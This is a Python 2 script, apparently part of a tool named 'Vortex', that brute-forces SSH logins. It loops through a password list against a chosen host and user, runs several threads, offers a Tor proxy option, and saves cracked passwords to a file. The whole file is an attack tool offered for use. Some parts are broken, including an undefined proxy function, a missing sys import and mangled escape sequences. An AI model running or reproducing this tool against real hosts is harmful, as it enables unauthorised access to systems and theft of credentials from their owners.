#!/usr/bin/env python
import subprocess
import socket
import time
import os
import platform
import threading
import pip
try:
    import paramiko
except:
    pip.main(['install', 'paramiko'])
class c:
        r = "33[0;31m"
        g = "33[0;32m"
        o = "33[0;33m"
        b = "33[0;94m"
        p = "33[0;35m"
        w = "33[0;97m"
        d = "33[0;00m"
        rb = "33[01;31m"
        gb = "33[01;32m"
        ob = "33[01;33m"
        bb = "33[01;94m"
        pb = "33[0;35m"
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
help_menu = ("""
set username:root         | Set username of target
set host:hostname         | Set the host of target (eg: 1234-server.com or IP)
set port:22               | Set the port of SSH server (Default 22)
set pswList:passwords.lst | Set the password attemption list
set threads:20            | Set the number of threads to use
set proxy:true/false      | Use proxy or not (must be running on 9050)
clear                     | Clear the screen
execute                   | Execute the script
""")
username = 'empty_value'
host = 'empty_value'
port = 22
pswList = 'empty_value'
threads = 0
proxy = 'false'
def attack(username,host,pswList,port):
    try:
        plist = open(pswList, 'r')
        passwords = sum(1 for line in open(pswList, 'r'))
    except:
        print(c.w+'['+c.rb+'ERROR'+c.w+']: Unable to open password list: {}'+c.d).format(pswList)
        try:
            exit(0)
        except:
            sys.exit(1)
    count = 1
    counter = 1.00
    username_ = username
    for psw in plist:
        calc = int(counter / passwords * 100)
        print(c.w+'['+c.b+'info'+c.w+']: Service: SSH | User: {} | Attempting key {} of {} -> {} | {}% done').format(username,count,passwords,psw.strip(),calc)
        try:
            ssh.connect(host,int(port),username=username_,password=psw.strip())
            print("n")
            print("Password: {}").format(psw.strip())
            f = open('cracked-passwords/password-cracked-ssh-'+username_, 'w+')
            f.write('Username: '+str(username_)+' Password: '+str(psw.strip())+' Host: '+str(host)+'n')
            f.close()
            ssh.close()
            break;
        except paramiko.AuthenticationException:
            pass
        except paramiko.ssh_exception.SSHException:
            pass
        except:
            raise
        count += 1
        counter += 1

while True:
    prompt = raw_input("Vortex:Password-Cracking:Services:SSH> ")
    if(prompt == 'help'):
        print(help_menu)
    elif(prompt == 'clear'):
        print('n' * 100)
        subprocess.call('clear', shell=True)
    elif(prompt == 'show options' or prompt == 'options'):
        print("username = {}").format(username)
        print("host = {}").format(host)
        print("port = {}").format(port)
        print("pswList = {}").format(pswList)
        print("threads = {}").format(threads)
        print("proxy = {}").format(proxy)
    elif(prompt == 'exit' or prompt == 'quit' or prompt == 'close'):
        print('n')
        try:
            exit(0)
        except:
            sys.exit(1)
    elif('set username:' in str(prompt)):
        username = str(prompt).split(':')[1]
    elif('set host:' in str(prompt)):
        host = str(prompt).split(':')[1]
    elif('set port:' in str(prompt)):
        port = int(str(prompt).split(':')[1])
    elif('set pswList:' in str(prompt)):
        pswList = str(prompt).split(':')[1]
    elif('set threads:' in str(prompt)):
        threads = int(str(prompt).split(':')[1])
    elif(prompt == 'execute'):
        if(username != 'empty_value' and host != 'empty_value' and pswList != 'empty_value'):
            if(threads == 0):
                if(proxy == 'true'):
                    init_proxy()
                    attack(username,host,pswList,port)
                else:
                    attack(username,host,pswList,port)
            elif(threads != 0):
                if(proxy == 'true'):
                    init_proxy()
                threads_array = []
                for i in range(threads):
                    t = threading.Thread(target=attack, args=(username,host,pswList,port))
                    t.setDaemon(True)
                    t.start()
                    threads_array.append(t)
                for t in threads_array:
                    t.join()